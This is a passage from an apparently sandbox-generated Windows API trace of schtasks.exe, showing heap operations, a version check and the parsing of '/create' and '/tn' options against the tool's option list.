dwFlags=0x0, lpMem=0x1ecc70) returned 1 [0129.461] GetProcessHeap () returned 0x1d0000 [0129.461] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecc70) returned 0x20 [0129.461] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc70 | out: hHeap=0x1d0000) returned 1 [0129.461] GetProcessHeap () returned 0x1d0000 [0129.461] GetProcessHeap () returned 0x1d0000 [0129.461] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec2e0) returned 1 [0129.461] GetProcessHeap () returned 0x1d0000 [0129.461] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec2e0) returned 0x8 [0129.462] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec2e0 | out: hHeap=0x1d0000) returned 1 [0129.462] GetProcessHeap () returned 0x1d0000 [0129.462] GetProcessHeap () returned 0x1d0000 [0129.462] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecca0) returned 1 [0129.462] GetProcessHeap () returned 0x1d0000 [0129.462] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecca0) returned 0x20 [0129.462] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecca0 | out: hHeap=0x1d0000) returned 1 [0129.462] GetProcessHeap () returned 0x1d0000 [0129.462] GetProcessHeap () returned 0x1d0000 [0129.462] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec300) returned 1 [0129.462] GetProcessHeap () returned 0x1d0000 [0129.462] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec300) returned 0xe [0129.462] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec300 | out: hHeap=0x1d0000) returned 1 [0129.462] GetProcessHeap () returned 0x1d0000 [0129.462] GetProcessHeap () returned 0x1d0000 [0129.462] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eccd0) returned 1 [0129.462] GetProcessHeap () returned 0x1d0000 [0129.462] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eccd0) returned 0x20 [0129.463] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eccd0 | out: hHeap=0x1d0000) returned 1 [0129.463] GetProcessHeap () returned 0x1d0000 [0129.463] GetProcessHeap () returned 0x1d0000 [0129.463] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec320) returned 1 [0129.463] GetProcessHeap () returned 0x1d0000 [0129.463] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec320) returned 0x8 [0129.463] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec320 | out: hHeap=0x1d0000) returned 1 [0129.463] GetProcessHeap () returned 0x1d0000 [0129.463] GetProcessHeap () returned 0x1d0000 [0129.463] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd00) returned 1 [0129.463] GetProcessHeap () returned 0x1d0000 [0129.463] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd00) returned 0x20 [0129.464] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd00 | out: hHeap=0x1d0000) returned 1 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.464] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec340) returned 1 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.464] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec340) returned 0x4 [0129.464] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec340 | out: hHeap=0x1d0000) returned 1 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.464] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd30) returned 1 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.464] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd30) returned 0x20 [0129.464] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd30 | out: hHeap=0x1d0000) returned 1 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.464] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec360) returned 1 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.464] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec360) returned 0x8 [0129.464] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec360 | out: hHeap=0x1d0000) returned 1 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.464] GetProcessHeap () returned 0x1d0000 [0129.465] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd60) returned 1 [0129.465] GetProcessHeap () returned 0x1d0000 [0129.465] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd60) returned 0x20 [0129.465] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd60 | out: hHeap=0x1d0000) returned 1 [0129.465] GetProcessHeap () returned 0x1d0000 [0129.465] GetProcessHeap () returned 0x1d0000 [0129.465] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eddc0) returned 1 [0129.465] GetProcessHeap () returned 0x1d0000 [0129.465] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eddc0) returned 0xae [0129.465] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eddc0 | out: hHeap=0x1d0000) returned 1 [0129.466] GetProcessHeap () returned 0x1d0000 [0129.466] GetProcessHeap () returned 0x1d0000 [0129.466] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd90) returned 1 [0129.466] GetProcessHeap () returned 0x1d0000 [0129.466] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd90) returned 0x20 [0129.466] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd90 | out: hHeap=0x1d0000) returned 1 [0129.466] GetProcessHeap () returned 0x1d0000 [0129.466] GetProcessHeap () returned 0x1d0000 [0129.466] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ede80) returned 1 [0129.466] GetProcessHeap () returned 0x1d0000 [0129.466] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ede80) returned 0x6 [0129.466] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ede80 | out: hHeap=0x1d0000) returned 1 [0129.466] GetProcessHeap () returned 0x1d0000 [0129.466] GetProcessHeap () returned 0x1d0000 [0129.466] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecdc0) returned 1 [0129.466] GetProcessHeap () returned 0x1d0000 [0129.466] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecdc0) returned 0x20 [0129.467] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecdc0 | out: hHeap=0x1d0000) returned 1 [0129.467] GetProcessHeap () returned 0x1d0000 [0129.467] GetProcessHeap () returned 0x1d0000 [0129.467] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5490) returned 1 [0129.467] GetProcessHeap () returned 0x1d0000 [0129.467] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5490) returned 0x18 [0129.467] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5490 | out: hHeap=0x1d0000) returned 1 [0129.467] SetLastError (dwErrCode=0x0) [0129.467] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0129.467] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0129.467] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0129.467] VerifyVersionInfoW (in: lpVersionInformation=0xbc390, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbc390) returned 1 [0129.467] SetLastError (dwErrCode=0x0) [0129.467] lstrlenW (lpString="create") returned 6 [0129.468] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0129.468] SetLastError (dwErrCode=0x490) [0129.468] SetLastError (dwErrCode=0x0) [0129.468] lstrlenW (lpString="create") returned 6 [0129.468] GetProcessHeap () returned 0x1d0000 [0129.468] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecdc0 [0129.468] GetProcessHeap () returned 0x1d0000 [0129.468] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ed550 [0129.468] _memicmp (_Buf1=0x1ed550, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.468] GetProcessHeap () returned 0x1d0000 [0129.468] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x16) returned 0x1ed570 [0129.468] SetLastError (dwErrCode=0x0) [0129.468] _memicmp (_Buf1=0x1ebac0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.468] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ebc60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0129.468] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0129.469] GetProcessHeap () returned 0x1d0000 [0129.469] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x74e) returned 0x1eddc0 [0129.469] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1eddc0 | out: lpData=0x1eddc0) returned 1 [0129.469] VerQueryValueW (in: pBlock=0x1eddc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbc478, puLen=0xbc4e0 | out: lplpBuffer=0xbc478*=0x1ee15c, puLen=0xbc4e0) returned 1 [0129.469] _memicmp (_Buf1=0x1ebac0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.469] _vsnwprintf (in: _Buffer=0x1ebc60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbc458 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0129.469] VerQueryValueW (in: pBlock=0x1eddc0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbc4e8, puLen=0xbc4d8 | out: lplpBuffer=0xbc4e8*=0x1edf88, puLen=0xbc4d8) returned 1 [0129.469] lstrlenW (lpString="schtasks.exe") returned 12 [0129.470] lstrlenW (lpString="schtasks.exe") returned 12 [0129.470] lstrlenW (lpString=".EXE") returned 4 [0129.470] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0129.470] lstrlenW (lpString="schtasks.exe") returned 12 [0129.470] lstrlenW (lpString=".EXE") returned 4 [0129.470] lstrlenW (lpString="schtasks") returned 8 [0129.470] lstrlenW (lpString="/create") returned 7 [0129.470] _memicmp (_Buf1=0x1ebac0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.470] _vsnwprintf (in: _Buffer=0x1ebc60, _BufferCount=0x19, _Format="%s %s", _ArgList=0xbc458 | out: _Buffer="schtasks /create") returned 16 [0129.470] _memicmp (_Buf1=0x1ebae0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.470] GetProcessHeap () returned 0x1d0000 [0129.470] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd90 [0129.470] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.470] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0129.470] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0129.470] GetProcessHeap () returned 0x1d0000 [0129.470] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x30) returned 0x1e7af0 [0129.470] _vsnwprintf (in: _Buffer=0x1ec060, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbc458 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0129.470] GetProcessHeap () returned 0x1d0000 [0129.470] GetProcessHeap () returned 0x1d0000 [0129.470] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eddc0) returned 1 [0129.470] GetProcessHeap () returned 0x1d0000 [0129.470] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eddc0) returned 0x74e [0129.471] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eddc0 | out: hHeap=0x1d0000) returned 1 [0129.471] SetLastError (dwErrCode=0x0) [0129.471] GetThreadLocale () returned 0x409 [0129.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.471] lstrlenW (lpString="create") returned 6 [0129.471] GetThreadLocale () returned 0x409 [0129.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.471] lstrlenW (lpString="?") returned 1 [0129.471] GetThreadLocale () returned 0x409 [0129.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.471] lstrlenW (lpString="s") returned 1 [0129.471] GetThreadLocale () returned 0x409 [0129.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.471] lstrlenW (lpString="u") returned 1 [0129.471] GetThreadLocale () returned 0x409 [0129.471] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.471] lstrlenW (lpString="p") returned 1 [0129.472] GetThreadLocale () returned 0x409 [0129.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.472] lstrlenW (lpString="ru") returned 2 [0129.472] GetThreadLocale () returned 0x409 [0129.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.472] lstrlenW (lpString="rp") returned 2 [0129.472] GetThreadLocale () returned 0x409 [0129.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.472] lstrlenW (lpString="sc") returned 2 [0129.472] GetThreadLocale () returned 0x409 [0129.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.472] lstrlenW (lpString="mo") returned 2 [0129.472] GetThreadLocale () returned 0x409 [0129.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.472] lstrlenW (lpString="d") returned 1 [0129.472] GetThreadLocale () returned 0x409 [0129.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.472] lstrlenW (lpString="m") returned 1 [0129.472] GetThreadLocale () returned 0x409 [0129.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.472] lstrlenW (lpString="i") returned 1 [0129.472] GetThreadLocale () returned 0x409 [0129.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.472] lstrlenW (lpString="tn") returned 2 [0129.472] GetThreadLocale () returned 0x409 [0129.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.472] lstrlenW (lpString="tr") returned 2 [0129.473] GetThreadLocale () returned 0x409 [0129.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.473] lstrlenW (lpString="st") returned 2 [0129.473] GetThreadLocale () returned 0x409 [0129.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.473] lstrlenW (lpString="sd") returned 2 [0129.473] GetThreadLocale () returned 0x409 [0129.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.473] lstrlenW (lpString="ed") returned 2 [0129.473] GetThreadLocale () returned 0x409 [0129.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.473] lstrlenW (lpString="it") returned 2 [0129.473] GetThreadLocale () returned 0x409 [0129.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.473] lstrlenW (lpString="et") returned 2 [0129.473] GetThreadLocale () returned 0x409 [0129.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.473] lstrlenW (lpString="k") returned 1 [0129.473] GetThreadLocale () returned 0x409 [0129.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.473] lstrlenW (lpString="du") returned 2 [0129.473] GetThreadLocale () returned 0x409 [0129.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.473] lstrlenW (lpString="ri") returned 2 [0129.473] GetThreadLocale () returned 0x409 [0129.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.473] lstrlenW (lpString="z") returned 1 [0129.473] GetThreadLocale () returned 0x409 [0129.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.474] lstrlenW (lpString="f") returned 1 [0129.474] GetThreadLocale () returned 0x409 [0129.474] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.474] lstrlenW (lpString="v1") returned 2 [0129.474] GetThreadLocale () returned 0x409 [0129.474] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.474] lstrlenW (lpString="xml") returned 3 [0129.474] GetThreadLocale () returned 0x409 [0129.474] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.474] lstrlenW (lpString="ec") returned 2 [0129.474] GetThreadLocale () returned 0x409 [0129.474] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.474] lstrlenW (lpString="rl") returned 2 [0129.474] GetThreadLocale () returned 0x409 [0129.474] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.474] lstrlenW (lpString="delay") returned 5 [0129.474] GetThreadLocale () returned 0x409 [0129.474] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.474] lstrlenW (lpString="np") returned 2 [0129.474] SetLastError (dwErrCode=0x0) [0129.474] SetLastError (dwErrCode=0x0) [0129.474] lstrlenW (lpString="/create") returned 7 [0129.474] lstrlenW (lpString="-/") returned 2 [0129.474] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.474] lstrlenW (lpString="create") returned 6 [0129.474] lstrlenW (lpString="create") returned 6 [0129.474] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.474] lstrlenW (lpString="create") returned 6 [0129.475] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.475] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|create|") returned 8 [0129.475] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|create|") returned 8 [0129.475] lstrlenW (lpString="|create|") returned 8 [0129.475] lstrlenW (lpString="|create|") returned 8 [0129.475] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0129.475] SetLastError (dwErrCode=0x0) [0129.475] SetLastError (dwErrCode=0x0) [0129.475] SetLastError (dwErrCode=0x0) [0129.475] lstrlenW (lpString="/tn") returned 3 [0129.475] lstrlenW (lpString="-/") returned 2 [0129.475] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.475] lstrlenW (lpString="create") returned 6 [0129.475] lstrlenW (lpString="create") returned 6 [0129.475] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.475] lstrlenW (lpString="tn") returned 2 [0129.475] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.475] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|create|") returned 8 [0129.475] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.475] lstrlenW (lpString="|create|") returned 8 [0129.475] lstrlenW (lpString="|tn|") returned 4 [0129.475] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0129.475] SetLastError (dwErrCode=0x490) [0129.475] lstrlenW (lpString="?") returned 1 [0129.475] lstrlenW (lpString="?") returned 1 [0129.475] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.476] lstrlenW (lpString="tn") returned 2 [0129.476] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.476] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|?|") returned 3 [0129.476] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.476] lstrlenW (lpString="|?|") returned 3 [0129.476] lstrlenW (lpString="|tn|") returned 4 [0129.476] SetLastError (dwErrCode=0x490) [0129.476] lstrlenW (lpString="s") returned 1 [0129.476] lstrlenW (lpString="s") returned 1 [0129.476] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.476] lstrlenW (lpString="tn") returned 2 [0129.476] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.476] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|s|") returned 3 [0129.476] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.476] lstrlenW (lpString="|s|") returned 3 [0129.476] lstrlenW (lpString="|tn|") returned 4 [0129.476] SetLastError (dwErrCode=0x490) [0129.476] lstrlenW (lpString="u") returned 1 [0129.476] lstrlenW (lpString="u") returned 1 [0129.476] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.476] lstrlenW (lpString="tn") returned 2 [0129.476] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.476] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|u|") returned 3 [0129.476] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.476] lstrlenW (lpString="|u|") returned 3 [0129.476] lstrlenW (lpString="|tn|") returned 4 [0129.477] SetLastError (dwErrCode=0x490) [0129.477] lstrlenW (lpString="p") returned 1 [0129.477] lstrlenW (lpString="p") returned 1 [0129.477] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.477] lstrlenW (lpString="tn") returned 2 [0129.477] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.477] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|p|") returned 3 [0129.477] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.477] lstrlenW (lpString="|p|") returned 3 [0129.477] lstrlenW (lpString="|tn|") returned 4 [0129.477] SetLastError (dwErrCode=0x490) [0129.477] lstrlenW (lpString="ru") returned 2 [0129.477] lstrlenW (lpString="ru") returned 2 [0129.477] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.477] lstrlenW (lpString="tn") returned 2 [0129.477] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.477] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|ru|") returned 4 [0129.477] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.477] lstrlenW (lpString="|ru|") returned 4 [0129.477] lstrlenW (lpString="|tn|") returned 4 [0129.477] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0129.477] SetLastError (dwErrCode=0x490) [0129.477] lstrlenW (lpString="rp") returned 2 [0129.477] lstrlenW (lpString="rp") returned 2 [0129.477] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.478] lstrlenW (lpString="tn") returned 2 [0129.478] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.478] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|rp|") returned 4 [0129.478] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.478] lstrlenW (lpString="|rp|") returned 4 [0129.478] lstrlenW (lpString="|tn|") returned 4 [0129.478] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0129.478] SetLastError (dwErrCode=0x490) [0129.478] lstrlenW (lpString="sc") returned 2 [0129.478] lstrlenW (lpString="sc") returned 2 [0129.478] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.478] lstrlenW (lpString="tn") returned 2 [0129.478] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.478] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.478] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.478] lstrlenW (lpString="|sc|") returned 4 [0129.478] lstrlenW (lpString="|tn|") returned 4 [0129.478] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0129.478] SetLastError (dwErrCode=0x490) [0129.478] lstrlenW (lpString="mo") returned 2 [0129.478] lstrlenW (lpString="mo") returned 2 [0129.478] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.478] lstrlenW (lpString="tn") returned 2 [0129.478] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.478] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, 